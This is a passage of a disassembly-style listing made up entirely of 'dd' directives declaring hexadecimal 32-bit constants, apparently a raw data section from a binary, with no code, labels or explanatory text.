		dd 15C40B00h, 0E4987995h, 0A800FC01h, 63E40B99h, 55A1DFh
		dd 56F19F59h, 18F05020h, 8481F95h, 21FC528Ah, 0D570528Ah
		dd 0D38776D8h, 0F3180520h, 0F745242h, 0F844D414h, 2C04B95Fh
		dd 0F1194A6h, 63BC0C5Ch, 3ED5008Ch, 7B6A1CE3h, 0C70624CBh
		dd 84B3D088h, 909CB6C9h, 0A9CB80DBh, 1FB398F1h,	0E2F44736h
		dd 5CDCBE10h, 0D820B42Dh, 0A3CD3490h, 0C75F5F71h, 0D36A7041h
		dd 0C88C5610h, 83598FC5h, 0CD19B417h, 79FDC800h, 9E77E542h
		dd 94D30648h, 0BE12F961h, 0B04F519Ch, 0A2BC34B3h, 0C9380D63h
		dd 4BE8401Bh, 24DD8E7h,	0C8CF0554h, 0A4C0C52Eh,	4824AB3Dh
		dd 55A20003h, 0F27B2008h, 284132B8h, 1518209Dh,	0B09FC51Fh
		dd 1708B4E6h, 44470E6Fh, 0DEE50470h, 64B46C18h,	4E37429Dh
		dd 67237C2Bh, 31297201h, 0FC3247E6h, 125C0500h,	0A36B35B5h
		dd 28152B05h, 58C1C69Ah, 247874E3h, 602CD30Ah, 0A81831A8h
		dd 93DC5256h, 0FE908329h, 0D0F10846h, 172D8C26h, 805891D8h
		dd 0C5B4720Fh, 0E12616C7h, 4BCCD050h, 0FE5DD95Fh, 9EC100E8h
		dd 0B2E2FB5h, 6F013E7h,	0F6DC914Ah, 76D0087h, 47CC0092h
		dd 6E1712FFh, 0A4A03844h, 0D0C23B9Ch, 8DE0812Eh, 0DC70B018h
		dd 0D5E1807Dh, 0E21094B0h, 38014B45h, 9B3482D0h, 5BA06047h
		dd 0C69819C1h, 8C438A78h, 0C42CB0FDh, 0CEDA05F3h, 215FC8B6h
		dd 3244B1E0h, 62310284h, 493B4C46h, 81922EC8h, 34200F7Bh
		dd 0F3401277h, 46A50164h, 0C256F7E5h, 0AE3D001Eh, 0D9249BD4h
		dd 1877602Eh, 78BF3311h, 3D8D3102h, 90586B09h, 94931AD8h
		dd 0C8CE85CCh, 91884185h, 82FD3444h, 0B38BC618h, 9F48905Eh
		dd 2FE40846h, 3F08B2E5h, 0D0217361h, 46AA6007h,	22BAEA8h
		dd 0E94120DEh, 0CF1134F0h, 202BF502h, 54A86EACh, 0E0BA64Ch
		dd 0A272DEE3h, 0C8618E04h, 12975E6Ch, 5860570Ch, 432A5024h
		dd 0D08960C1h, 60365DA7h, 848594Ah, 4C89DDD5h, 7617F334h
		dd 0A483AE39h, 8D71090Fh, 0B04080E3h, 0BD0CF419h, 30DDF935h
		dd 8C5E58BCh, 86798784h, 50C4B008h, 8806031h, 0FCB2EA2Dh
		dd 4962038Ah, 82DBD23Eh, 50C16968h, 1DC58CC8h, 84820CC5h
		dd 0D3A6216Eh, 0CA9A319h, 4A534C09h, 83E451B0h,	5084B6E5h
		dd 1AD4A03Eh, 792834F8h, 18757948h, 355D01B1h, 0EA185590h
		dd 4A54D8CBh, 0C5098490h, 5965ADF5h, 18727974h,	800B00BDh
		dd 4425F8B5h, 3728F17Ch, 2E2DCFC6h, 0DF689051h,	1043AA3h
		dd 0A5E82A06h, 109E1973h, 769C408h, 0CB78E72Fh,	18938C19h
		dd 31210808h, 59C437D3h, 2100074Eh, 0CA657E53h,	0A37C0D16h
		dd 4C1F1004h, 4E200A52h, 44D6043Ch, 2C041660h, 5D032C68h
		dd 0A1CED051h, 0CBFEDE7Ah, 4519FB16h, 9AD028D1h, 985109D2h
		dd 0D4195479h, 1B07E206h, 259EE9F9h, 72C5BE72h,	80B09EA8h
		dd 6A754629h, 165C76C4h, 175739E2h, 8C8870FAh, 9EC024DEh
		dd 0B639079Dh, 0F10D5068h, 10009DDAh, 42EE6D83h, 4A472C24h
		dd 0B9144015h, 0C5B371A6h, 0D3BED704h, 6CE05A61h, 22138CFDh
		dd 73099C8Ah, 2C166Eh, 0A88A1A18h, 38575883h, 0D812887Bh
		dd 0E00362DBh, 0A0415F9Eh, 96D13A69h, 0E14B8368h, 0CA984799h
		dd 404AFCDCh, 9FC89Bh, 40478B4Ah, 0A0003FCBh, 0CCD5371Dh
		dd 125F3DA2h, 0A75E74C8h, 0B6A9A080h, 7316122Ah, 0E1A88040h
		dd 0AC045563h, 4BE24778h
		dd 71ECE0ACh, 7625388Ch, 15DCB93h, 17F012B7h, 6282C8D5h
		dd 2CC8918h, 0B8CF3DE9h, 0DCE112A8h, 480C4AC3h,	0D49B06D4h
		dd 173E3007h, 0DDEC45B3h, 0C9512E6Eh, 15E18D14h, 83742079h
		dd 60D419C8h, 218B3D31h, 94CB381Dh, 98B23293h, 0E43064F2h
		dd 393403D4h, 2DD1EA4Ch, 114B7022h, 6E462Bh, 16DA64EDh
		dd 0F8B5A5AEh, 0EA8EF803h, 0DB5D2689h, 0F8DF0950h, 418B4D0h
		dd 8C395747h, 0ADBD0023h, 0BF4058D4h, 0E31EEA2Eh, 0D844C9E7h
		dd 3880672Fh, 0CB36CFC2h, 948F4C99h, 3A76E0DDh,	8821704Ah
		dd 0BE104DE3h, 2095F703h, 7E481618h, 47260093h,	4EC6DF2Fh
		dd 0AA75C3E2h, 1DF8CD09h, 0DD0700BAh, 9DB375h, 0DFB84C8Ah
		dd 0AB02F3D2h, 50F7280Bh, 55F40425h, 0E8C4E4FCh, 7890FDD5h
		dd 4F87DB13h, 2A484B0h,	0C0D49DE9h, 48D65B1Bh, 626821D4h
		dd 4251C008h, 211748FEh, 44A3C220h, 20F37430h, 0E30B2A54h
		dd 2DA5B48Bh, 6FD041E8h, 5C431480h, 443746Eh, 0C12307F0h
		dd 1EFC3900h, 6AF23FC7h, 0EA4002A7h, 0EB41B035h, 8E4A0C80h
		dd 2B02E742h, 6B3039B1h, 0BF1E00C1h, 6A0EF83Bh,	8FE746B2h
		dd 80EA8FB1h, 2FFE3DB5h, 73A7C7Eh, 0F142C31Ch, 7B80491Ah
		dd 0F845B56Ah, 4A7E320Ch, 3828F4h, 3FCA36F1h, 37CC33F9h
		dd 0CD2A2C18h, 2E8C1940h, 0E4187Eh, 0B76AF540h,	7407F73Fh
		dd 58566168h, 6B2C25FEh, 4E860406h, 4BB13E80h, 0C0920A1Fh
		dd 7EA17210h, 79C734F1h, 718CB133h, 0DD1DF83Ah,	0E06A1818h
		dd 8A823FCh, 1A3EF342h,	18EB05C0h, 381B85C2h, 2887F80h
		dd 0F34BB030h, 7F0FCC35h, 50FD79C1h, 0E8831B6Bh, 151343C1h
		dd 993F383Dh, 0A1403A83h, 0C929A040h, 0FF173F1Fh, 702C9180h
		dd 0FB4F64C2h, 0ED3FB006h, 74E1AC13h, 2F27307Bh, 0CD191C78h
		dd 21113B38h, 7EE89092h, 0B2340407h, 51781225h,	1EF3CCA3h
		dd 1829AD1Fh, 8EFF8423h, 0CA0C8745h, 834CE43Ch,	42BC5074h
		dd 488BCF51h, 0FAD8EB54h, 90445BB0h, 0AD685460h, 4024F481h
		dd 34C0B8CCh, 8118676Eh, 3CA0D64h, 1B400BFBh, 3C6A4537h
		dd 48110063h, 813B67E0h, 80B96D13h, 4C82E930h, 0A49DEC94h
		dd 513CC46Dh, 20752CFFh, 0AFE0608Ch, 0F37CA6A1h, 0D6CF59C2h
		dd 0D5C59A4h, 9071F017h, 9696BE58h, 0B77B60D0h,	303DB840h
		dd 81F95109h, 5D4A37C0h, 6868EC5Fh, 2E6158DDh, 6860B1B8h
		dd 0B67117B9h, 0C344356h, 4AD414D3h, 0E7E194AFh, 0CA230B36h
		dd 230E0359h, 0E9A5984h, 0F4434911h, 7D730C61h,	35FC4701h
		dd 70D020F0h, 246D5344h, 8F28D6DAh, 8797E8CDh, 0D8518B2Ch
		dd 2F8C04A7h, 0A38DDD02h, 0B426A0D0h, 0EB8B886Dh, 0D53CC8E8h
		dd 287260F9h, 44AA210Bh, 0F0D3D409h, 0C8ACE859h, 1640A954h
		dd 0F4E7D513h, 9AE10067h, 1561D20Fh, 0ACFBC6E5h, 24DB5478h
		dd 0AE9F88Ch, 92D0D35Ah, 0F00CBC98h, 0CD883DDEh, 14BE8A7Ch
		dd 0B0ABFA39h, 4080DEC2h, 0D53621CAh, 4E74A24h,	1FC44468h
		dd 0DC2A0322h, 7029D051h, 2711884Ch, 1F4E40h, 3348A120h
		dd 220441A8h, 3F8F031h,	0C390CA9h, 2943862Bh, 1CA1FB22h
		dd 48E01823h, 4C24841h,	18F4BA71h, 64448258h, 6041400Ch
		dd 91688B97h, 209C283Ch, 4BF02B3Ch, 0E360F896h,	0B356B28Ah
		dd 54C5509Ch, 0EC104960h, 4A7A9AD1h, 3D0C7128h,	202C00AEh
		dd 4A34905Ah, 0BE300B44h, 48530686h, 0F0EF7978h, 20322BEBh
		dd 1F342866h, 383050A3h, 0C136B48Dh, 1208E921h,	0CB0C201Bh
		dd 0CE5EAD1Ah, 43DC5E18h, 411E62C6h, 1258DCBh, 1E097920h
		dd 0CD513986h, 6D0E5147h, 0C056A47Eh, 0BF2B90B6h, 2D1B009Bh
		dd 4A27A5EAh, 50259E68h, 0C0DC6ACFh, 0C449C57Ch, 88E3D2A1h
		dd 6312D880h, 0D40C1951h, 80E09Dh, 81369602h, 729B824Fh
		dd 19A8EFh, 53284A12h, 449E0404h, 5F561C01h, 96A5F022h
		dd 478BDB00h, 6F1FE391h, 0D3380C6Ah, 60093A03h,	0D6EA3300h
		dd 514D7A26h, 0A35F481Eh, 98264C47h, 0CF960234h, 0E0916F47h
		dd 919C51F9h, 2948862Eh, 40F06CDEh, 0F98976B3h,	0E312502Dh
		dd 0CDD420C6h, 0A5736456h, 48C0C7F6h, 0E0C6973Dh, 6080BE84h
		dd 547AA2D2h, 5D4FD6E8h, 0E3E578C1h, 219E4ED1h,	0B4630656h
		dd 25097168h, 2F6DB6D9h, 244838D8h, 5A3D0302h, 0FB478A28h
		dd 0CC3E710Bh, 5CA8E165h, 6FFE210h, 0EE1D461Eh,	474CBB9Eh
		dd 2C16Bh, 9B6093D6h, 0A30F8A3Dh, 1052B519h, 11104C40h
		dd 5012A568h, 104643D0h, 4510AC69h, 1D10401Bh, 270012D2h
		dd 8B6621D5h, 885FB48Ch, 404CDE08h, 74D924A4h, 0A1012042h
		dd 288FFABCh, 19718BE8h, 793B72B3h, 20B6E1F7h, 0BFE6DFBEh
		dd 87A40118h, 12AB11B0h, 8275212h, 0D281B32Ch, 2233021h
		dd 2C53ED0h, 0FA93F5ECh, 4795FDAh, 2159B000h, 97C8D84h
		dd 79550429h, 494AF084h, 0C71C2316h, 885945AEh,	118086E1h
		dd 0D038212Ch, 5A5C0683h, 0D4872988h, 0D0127C93h, 60585489h
		dd 78D834EDh, 4D648121h, 0EB84303Fh, 19791030h,	4E4763D3h
		dd 0B034227Bh, 0D21FA878h, 3E82969Eh, 0C1E51831h, 6214BE18h
		dd 38C19214h, 0D8304031h, 58A1B4Fh, 0B89275DCh,	0D52C20D7h
		dd 0E302BE7Fh, 53E952FDh, 0A3974050h, 27F44E06h, 5B4A101Ch
		dd 9301AD64h, 50C7790Dh, 4222FC9h, 21683426h, 4A8E7828h
		dd 94A07343h, 5A281D2Dh, 230A2C19h, 0C051B450h,	2F920A85h
		dd 20636882h, 515FE45Ah, 48A48C39h, 1C13244Dh, 3330B044h
		dd 98120523h, 6C87539Ch, 98321905h, 54F0E467h, 42DF0CA8h
		dd 88902162h, 461271C3h, 0BD4C4A5h, 5D4838A2h, 0ABCCB000h
		dd 5CFF8232h, 2C8133Fh,	0DF2DB35Eh, 96A1C0C2h, 0B84654C5h
		dd 0AD3A0006h, 1ECC076Dh, 0A0BD255Ah, 8C90B200h, 5BA5AF4h
		dd 21E95684h, 0BECE5FACh, 0C4060041h, 823572DDh, 0D23B00CFh
		dd 0CB1A342Eh, 2500031Dh, 7FDE30CCh, 0F75FB863h, 0BAD0307Fh
		dd 9BE83EA1h, 367FEF03h, 98CB1C43h, 0CC21ABh, 94AC3148h
		dd 569DD6Dh, 0D4E60F76h, 58F484BFh, 5AF82B41h, 290A2EB1h
		dd 2C004CD2h, 6B53C5DFh, 73402F48h, 303ABC48h, 9D77F800h
		dd 5B9B9FD5h, 92900022h, 0E28936A4h, 0DD2AD43Bh, 2C3A8854h
		dd 8ADE85B1h, 0EC08AD29h, 0D0B396D1h, 4214E594h, 0EE0B400h
		dd 0AD97021Ch, 0FC90798h, 0A0B33A4Dh, 0B08F2979h, 5503F9E2h
		dd 0C99C2493h, 38213D14h, 1787E43Dh, 50A6B2F2h,	4B2F8F8Dh
		dd 0A0F7CA00h, 0B332292Bh, 0BB540EC0h, 1E8001DDh, 63B917ABh
		dd 0D1EB4301h, 4926DBF8h, 0C8945080h, 563B88C3h, 4CFDB500h
		dd 16AB0F34h, 3CA60E1Ah, 0A92C809Bh, 27053A20h,	0DC6D9D1Fh
		dd 46372038h, 4DB20327h, 0F1BCC6Dh, 0FD9FF7C1h,	5CB19580h
		dd 93A9CB7h, 2123355Dh,	0A3FDA980h, 5136074Fh, 40C90783h
		dd 0E976566Ch, 34DC3900h, 4D17B32Ah, 2FA10022h,	44977AEBh
		dd 0E5037082h, 0FE5A0E73h, 0F88ED3A8h, 0E896A367h, 0BBA7005Ch
		dd 0BE3D41C1h, 4C54B9DDh, 0BC19DE8Ch, 49801C75h, 6F109DD0h
		dd 930060B7h, 29A189DFh, 3CE8D00Ch, 0C0880934h,	89EC7321h
		dd 8AFA8D4Eh, 0D2983B68h, 4A1B421Eh, 0A5EDC0D0h, 0D3E301F7h
		dd 0CC1B98A4h, 0E5088C7Ch, 0F0A2038h, 0A3B0F76Eh, 0DDEFC420h
		dd 0A80CC1F9h, 992D2A2Eh, 46B110B3h, 0AFDE1FF2h, 2A181A18h
		dd 9CFCA06Dh, 262840F3h, 9060C82Ah, 35C1B40Ch, 0E33489C6h
		dd 5D9A1983h, 0D831DE5h, 830BADD8h, 563A7E0Ah, 4674D89Eh
		dd 33397920h, 30616034h
		dd 9EB96Ah, 7BE97705h, 60A9FCC4h, 8A1BC626h, 9683F800h
		dd 18433367h, 3931D327h, 2807D969h, 0E2606CD2h,	0B59764C1h
		dd 48489FF1h, 29B898ADh, 1148C195h, 0A5CE0021h,	7E81D0FDh
		dd 0F0AF4114h, 89F45CB2h, 8B12A002h, 83FC88F4h,	4401B39Bh
		dd 8C48DC39h, 0B9F79704h, 0D76294D4h, 0F7A00820h, 9D533F8Dh
		dd 0B2491230h, 0D600D5D7h, 5A9684C2h, 502A0CC1h, 48266038h
		dd 0B0086486h, 3CAA4FD4h, 0B91E9746h, 0C029448Ah, 208632E9h
		dd 0F489DE75h, 417DFF05h, 4006332Ah, 1C14834h, 0C13B6296h
		dd 42F8B5B6h, 0A4306AECh, 953B28FDh, 9EA485A0h,	0EAFD40D7h
		dd 0B0E7AA01h, 0B901327Ch, 424CEBAh, 1422B57Ch,	0C4CF8F1h
		dd 50E7003Bh, 3E7D344Fh, 9B03FBACh, 0CCE641D2h,	0B58BA9h
		dd 379CB3E1h, 0EA8DE408h, 10F8BD14h, 94123D0h, 1405F7A2h
		dd 0E0D0626Ch, 0F76B0B20h, 3E1574DBh, 0DD807144h, 35FC986Dh
		dd 0C91927F3h, 9470B412h, 5434C830h, 1D5AC83Eh,	0C1A05B40h
		dd 0B948F050h, 66089878h, 7457D21h, 58A39D5Bh, 0ACFD2033h
		dd 2926A71Ah, 2643D430h, 0B8A950D2h, 0ACEC0C51h, 36E18410h
		dd 0FD48BB00h, 0ABCF8670h, 0D8E40094h, 5DA4ADD2h, 9C073C73h
		dd 0E2510B87h, 79DA8EF0h, 0DDA80726h, 0A01CBB7Fh, 0B33C8540h
		dd 614460A7h, 4E514160h, 2449FD01h, 3A1D9356h, 0B84BE561h
		dd 0EDC022C8h, 0B8F0EE6Ah, 0FCC305FFh, 40D935A4h, 0BF19D8C4h
		dd 0E6007667h, 40376AE3h, 0ECD4536h, 0E4A45A6Ch, 0A6A772CEh
		dd 0DCF0D3B5h, 488437A1h, 790777A4h, 0B49519B1h, 38198CC6h
		dd 0E054CA9Ah, 0B3E003Ch, 9D55FE8Dh, 0A800EE2Bh, 318EADBCh
		dd 58E69336h, 0CB019451h, 0C809AABh, 28686487h,	3AA0154Ch
		dd 0C292064h, 4768E4CBh, 0AE540130h, 91032C84h,	0FD72730h
		dd 323B99D0h, 6B9E90DFh, 37A006A2h, 2033F859h, 7B8E4D07h
		dd 200A99E7h, 8C2E9C70h, 614E3402h, 0B3DEB493h,	0AE5BA9E4h
		dd 0E20DDh, 0EB5B3B6Fh,	1857C114h, 0B8A8603Ah, 17408711h
		dd 99150095h, 1D5C789Ch, 0BD007AABh, 70E2525Fh,	4DDCCD1h
		dd 352A6F1Fh, 4720C813h, 77064F88h, 46970044h, 8183AE3Dh
		dd 8B1993DCh, 0B361AC16h, 0C2340441h, 6AADF850h, 111C0083h
		dd 0C9E29D5Dh, 920B97FAh, 0A5935FC8h, 89073514h, 55C3AB12h
		dd 0DD1CB9B3h, 530040BCh, 40D22F90h, 0DE152DB4h, 11DC11C4h
		dd 0AE1F8F38h, 738689Bh, 5816B492h, 9920CC7Ch, 4E50C91Bh
		dd 8AD4C898h, 8F5D03A0h, 0BB955529h, 496941E0h,	9100A479h
		dd 0FCBC09Bh, 45FFD2h, 0F43236C4h, 298EDD66h, 0B34BCA0Ah
		dd 0B11844E5h, 30D2BD51h, 0F23142AFh, 0C87958A9h, 5B180C1h
		dd 0D420D779h, 7EC1F994h, 35371882h, 5101DF81h,	0D18947C8h
		dd 41004C6Bh, 7817A0CCh, 94B1D829h, 0DD02380Ah,	0B4DE161Ch
		dd 834EDD0Bh, 0A9C8A85Ch, 70BE2F23h, 0D4408A7Fh, 44E51011h
		dd 0D68A84CCh, 0E8C0AD08h, 18B7F134h, 60917A4Eh, 56CCC0C3h
		dd 0B30C4549h, 29C696B4h, 16B844CDh, 84729844h,	0D9895A7Fh
		dd 84BA7017h, 680026E9h, 395CC21h, 0F62CC1h, 470964CFh
		dd 0F369FF42h, 9CF29700h, 7D92134Ch, 349E05ABh,	3540E53h
		dd 26F19FABh, 647A1B98h, 0DB2E6800h, 537822CBh,	9B053ED5h
		dd 7B6D9080h, 0D9120788h, 30207200h, 0D8DA132Ch, 7CC603D3h
		dd 0A4512D0Bh, 0AA23291Fh, 40A0724Eh, 21C2EA1Dh, 86D50039h
		dd 7094CDDAh, 0DF44DCEh, 0F87BEE00h, 7CF628Eh, 1F2900E1h
		dd 0DEA4A164h, 5B00CD37h, 0A003BC54h, 65E771h, 6AB542C6h
		dd 0B4C1AE67h, 3E849700h, 4683DCD4h, 0B35400E4h, 0AD0B5395h
		dd 0B71C5267h, 2B018A24h, 0E7C2B17Ch, 489CE434h, 701EE8C3h
		dd 52FC81EDh, 0F8978748h, 90FA1BB5h, 0DAC60B1Eh, 47EABD00h
		dd 897A1Ah, 2BD7FBE6h, 0C93A5A75h, 99392800h, 45CD190Dh
		dd 0DA7100B9h, 979A82A1h, 0F50A51C3h, 9414BAC0h, 0BF909F00h
		dd 44521A0Ch, 1D0C0479h, 11C3B7B9h, 99BC0765h, 0E19DB475h
		dd 707C5516h, 40549A9Ch, 800A4BCh, 881324BEh, 35A1145h
		dd 59E86948h, 9AE08F75h, 0E4E96F5Fh, 78006470h,	0E3F48388h
		dd 9A36E62Ch, 0AAF70090h, 0C79A6639h, 7700C65Ch, 13C55774h
		dd 54DA9E8Fh, 745AE8BCh, 5F3300BAh, 0D3F814B9h,	7005D54h
		dd 769B421Dh, 0A3AFBh, 716837F9h, 9ACB7013h, 0C6336507h
		dd 69E0E01Ch, 0FEB9078h, 0FDF91B32h, 0F3D802A0h, 4006675h
		dd 7AA2CF60h, 48732A88h, 74006B8Bh, 0FA3EB5D5h,	5C009452h
		dd 0A2F69912h, 0FF04F13h, 0FF37AE05h, 715EA320h, 0B50C3820h
		dd 48D6E591h, 0C5D5093Fh, 1382900Bh, 3A41A2A6h,	930CE801h
		dd 398F9600h, 9F490B63h, 294B007Eh, 0ED4F721Ah,	5000B6E3h
		dd 9597B7EAh, 0A99BFDEh, 98E85EEFh, 357300BCh, 114A2164h
		dd 844C8300h, 7C1D0D1Bh, 80F3127Ah, 8B200353h, 0F9D889D8h
		dd 0F4F203EBh, 0DDE91A00h, 0B618BF3Ch, 0FC260080h, 98584628h
		dd 86008CF2h, 0DA6E4130h, 3A6D275h, 0B57BF18Fh,	67815DAAh
		dd 6F28304Bh, 7AC71D00h, 2635F21Bh, 0AEC84CBDh,	0E72B5D00h
		dd 4813F059h, 35CFC1Ch,	56F27580h, 269416B9h, 651739h
		dd 0D3577897h, 47003D85h, 1525ED5Fh, 946F2Bh, 9BC3DEBAh
		dd 8EBEE289h, 0C704B7E2h, 0A137C890h, 2520E480h, 64E34852h
		dd 0C4068800h, 0C84C70Dh, 12B3E04Ch, 60077DB4h,	2322C931h
		dd 0BD20408Ch, 78AA07C1h, 57DEB743h, 2E6770ACh,	0D4003975h
		dd 0B3252917h, 597D8C90h, 0E00070A3h, 0C4A6976Fh, 487934D8h
		dd 0E8D44300h, 8777A1F6h, 11F70064h, 5E9F826h, 36006E83h
		dd 944023A8h, 3AEC147h,	8D64E4F5h, 11901C55h, 0CC90BF02h
		dd 0E7BD5D08h, 80658296h, 0BC495BDCh, 992CF4A6h, 3F1AF900h
		dd 28129BC0h, 0D5B03FB2h, 0D2795C80h, 334FE606h, 5DEB3Eh
		dd 0B4ADB53Bh, 0E81A9C75h, 8B8A01D0h, 0C29E2CE2h, 2FB4201Dh
		dd 0A0C9BF2Ah, 7A4BDE00h, 622A708Eh, 176726FAh,	87C4800Ch
		dd 0C511CB85h, 0F2208303h, 984D651Ah, 20314EEh,	0C93E76A5h
		dd 6C08B43h, 86003B8Eh,	0EC40A028h, 191D546h, 390CF0DBh
		dd 307DCBCFh, 0BF389A31h, 3626FA53h, 0F50400CDh, 0A8001C3Ch
		dd 80950AE9h, 2EBC7638h, 0F900E316h, 0CF845971h, 0C0240087h
		dd 79E636DAh, 0A818AAA3h, 0A9280437h, 3F127C45h, 0B502CFEAh
		dd 0C3214206h, 433A3C58h, 0E44D09E9h, 81A000CDh, 18EFA24h
		dd 2D5AF720h, 0FBBC60C4h, 0F4C02FC1h, 0ED003396h, 4B153899h
		dd 72D647h, 5277DBADh, 98F30CA2h, 7F542448h, 0E18E0500h
		dd 925A9DC5h, 0A0B85550h, 0D337CCh, 9846D9BFh, 0E3242F9Fh
		dd 0DE006492h, 53D1C003h, 7ECDD30h, 3225B786h, 0D7473E46h
		dd 0E209A0ABh, 9D0066F2h, 6CEB349Ah, 195B81Ah, 354F5860h
		dd 0EC8027EDh, 5B0120E0h, 5E6AD67h, 0EC40380Bh,	23D1DDh
		dd 7BD6887Dh, 0BF2D633Fh, 60FB2603h, 1E31A737h,	93BAA29h
		dd 38004017h, 0DD193AE2h, 0B5216A0Fh, 0BC222A83h, 80037A09h
		dd 7D98CDA4h, 2F4F0055h, 1171F3E6h, 0B7F21201h,	0EE33E507h
		dd 8B5592Eh, 0E9DBE00h,	87CEE9h, 7A3B26Bh, 4E83251h, 0EC024F74h
		dd 186AF730h, 0C3844098h, 5190084h, 0FD978E9Ch,	748D5CDh
		dd 0D2E207D8h, 0CEBD36h, 0FB0913ABh, 3BFCBACEh,	0E3002C34h
		dd 84709507h, 0F00EF6Bh, 0AE5B4B24h, 3B2A8C2h, 434C624Eh
		dd 21B88F52h, 940E2FF1h, 0C0DC9380h, 0D17031E1h, 0A1750640h
		dd 90BD9DE5h
		dd 230A0900h, 1B6B595Bh, 38A300CCh, 414A13E3h, 2B00F20Fh
		dd 0C827D6BCh, 1331AD3h, 427328CBh, 0D0A70BBDh,	2400BA5Dh
		dd 0F7DD18A2h, 76865409h, 6CB9C2BFh, 68C835C2h,	0E2120A83h
		dd 0A8D0D9B1h, 20D5ACFh, 4B89437Ah, 86866E8h, 0F20BEA93h
		dd 200157DBh, 52C2A6BCh, 0AD400966h, 8CC8DA3Ch,	46008D8Ah
		dd 455CA196h, 0FA53ACC5h, 49B60299h, 4BB48F54h,	4CB165C0h
		dd 0BE93550Fh, 0B792A081h, 0A02476h, 0A3287AC3h, 0B4CE7DC2h
		dd 58552630h, 1E9884D4h, 0F0A436AFh, 0E1974C10h, 310ED306h
		dd 1381494Eh, 97B806CCh, 0A4E90074h, 0F6E82829h, 0DEFC5200h
		dd 0D93F4549h, 0CE3D005Ch, 0AE7506CBh, 363FF143h, 98B18F48h
		dd 973C84FBh, 73E444E4h, 18334CB4h, 0FB80B105h,	391CA481h
		dd 0FA95EA0Fh, 0A37019A5h, 484350F5h, 0E7A805D2h, 0AB518D3h
		dd 18101028h, 33E368D6h, 0F9B0857Ch, 0A5008773h, 3130DDA4h
		dd 3757Fh, 0CBB70784h, 2EFD4A0Fh, 6C346D13h, 609A4082h
		dd 5CE91Eh, 0B601C1B2h,	0B5F4F020h, 8B9DC60Ch, 90902941h
		dd 2746399Eh, 43CA558Ah, 5EC90CAFh, 1A0583C9h, 85A9DE28h
		dd 2332A04Eh, 0E372B5F5h, 0F28898D2h, 9B56278Bh, 0BC7FC803h
		dd 9A840FC5h, 806C5184h, 17B2E94Bh, 0C9144E18h,	2DA3A08h
		dd 0B3343FD6h, 444BED32h, 0B1046046h, 302D5511h, 1147E511h
		dd 0E111BBDAh, 9DB9119Eh, 113FA611h, 0A074BD9Ch, 899BDA14h
		dd 4D6411C2h, 0A2C06AF9h, 0AD0B0085h, 4CABE678h, 4A0736DBh
		dd 0E997C3E0h, 26695380h, 0C98612E2h, 6340C0C6h, 8800C722h
		dd 4D36C307h, 4CBD0F37h, 1F00DC19h, 0D5BAB1E4h,	0A5006894h
		dd 0C246CAD6h, 481A50ADh, 800B89Ch, 6A26F6CFh, 0E14CB135h
		dd 4D5800ECh, 6184273Bh, 4922E1Fh, 1FFF3CA4h, 15BC3F32h
		dd 1C099049h, 0DC20911Bh, 0DBEB6ED3h, 3400CAE6h, 59C5A04Eh
		dd 3D98B9EEh, 2FAACA7h,	0D7AB21BEh, 40604553h, 2900F57Fh
		dd 0B38EA8F1h, 1851400Fh, 60390BABh, 384DC1EBh,	656A0020h
		dd 0C88BFB4h, 0D59A07CEh, 877AC5F6h, 0CC427083h, 1D009351h
		dd 30F51F08h, 0F72B18h,	5F231CE7h, 0DA72A624h, 16B5BF00h
		dd 0FC9B3B6Dh, 7BDE0040h, 0A32AE8FFh, 0E313C51Eh, 2801BE42h
		dd 73DF0C2Ch, 21289850h, 57BB00A5h, 59C6422Dh, 23012A4Ah
		dd 83AE8D7Ah, 0B2E8A877h, 93DF3F76h, 12FE0180h,	7EABD232h
		dd 7F7C0300h, 172858DDh, 0FC5F2CC8h, 0E437001Fh, 0DB155085h
		dd 5A1E6EF4h, 60400749h, 61B6B07Dh, 0AB160FC6h,	0AA062F2h
		dd 0E41B7B90h, 0B4D15224h, 0C014B81h, 838F57Ah,	2691B200h
		dd 82AFDE31h, 6D11A400h, 68F5D947h, 40CE1818h, 0CD9E2866h
		dd 0B3CBA001h, 2E67E609h, 4C4AEAECh, 6E00D2AAh,	24C00FF9h
		dd 9C003AC4h, 44334511h, 87D2A4h, 9D262FE1h, 0B45940A3h
		dd 8B57BE01h, 2CB03C29h, 0FEC060h, 3DD4D265h, 8F2EF718h
		dd 0CE988300h, 3B09E2F4h, 730E080h, 0A6DB527h, 98B8502Bh
		dd 3500C652h, 8AB320C4h, 0BE2E8862h, 0ABB40334h, 15C86323h
		dd 0EB0004F0h, 0CB9F906Eh, 0F4303DDh, 0E2CD3328h, 0FD2C500h
		dd 711CA232h, 130014AFh, 0B462725Dh, 0C25000FBh, 1E6521F5h
		dd 0DA027091h, 5FA28A89h, 4D2460D3h, 90454955h,	86150538h
		dd 0A602ACF9h, 9BE32A95h, 0BED7CE8h, 96034C92h,	3FAE7094h
		dd 53E2C8A9h, 2704B850h, 0C8307854h, 6B0F3D20h,	26E9B826h
		dd 21C985h, 0FD52CA33h,	0C88A765Bh, 7F945A18h, 8099BA69h
		dd 402E45EDh, 1880BCC6h, 7D6BD567h, 3E0E981Ah, 0A83BB9E0h
		dd 10BB1Dh, 0CE15EE68h,	30004B93h, 5BD91A71h, 2D6736h
		dd 0A80F01E1h, 0DB516B15h, 0EC00C6EEh, 335C5DA7h, 0F6071ABh
		dd 3D0F39B5h, 8C114AA0h, 794A12BDh, 0EC00AC16h,	8A2FDBF7h
		dd 0CC37015Bh, 6C973B28h, 0E6660B5h, 590079EAh,	0E8757D76h
		dd 0E355F9E0h, 0EB15474h, 13963921h, 25D1D6E0h,	0EC5CA53Eh
		dd 3D1670C0h, 0E400469Ch, 0CB85FE2Bh, 5DE00008h, 14F81758h
		dd 86004375h, 0C95B031Eh, 3E1D36E7h, 0E3D0CE7Eh, 89B4C29h
		dd 31AD5400h, 47BC02E6h, 0EDE00498h, 0EF27301h,	6F92134Dh
		dd 2240B231h, 906225C8h, 0F9450076h, 6B0A88CAh,	12000B81h
		dd 6DC6AAF1h, 12ACFD20h, 0A776DCh, 9049361Fh, 0F81EC92Dh
		dd 31CF2CE2h, 0DF230169h, 0BDFC5D8Bh, 0B2630005h, 59AEC1E1h
		dd 8F007DEDh, 30DCCC9Eh, 395D8AE0h, 0F100066Bh,	0F56EA409h
		dd 4A0041C2h, 297A81BBh, 0FE9ADF7h, 4EDD82D2h, 0C1B74004h
		dd 0C4A56304h, 6B3BEFD8h, 2BBE17h, 6CD343BAh, 3F9CF953h
		dd 840013C0h, 0E771D48Bh, 5000FAE5h, 0F44E8647h, 6196575h
		dd 392A68ABh, 0C10031FBh, 8ED3FA2Dh, 3027A60h, 0FC242151h
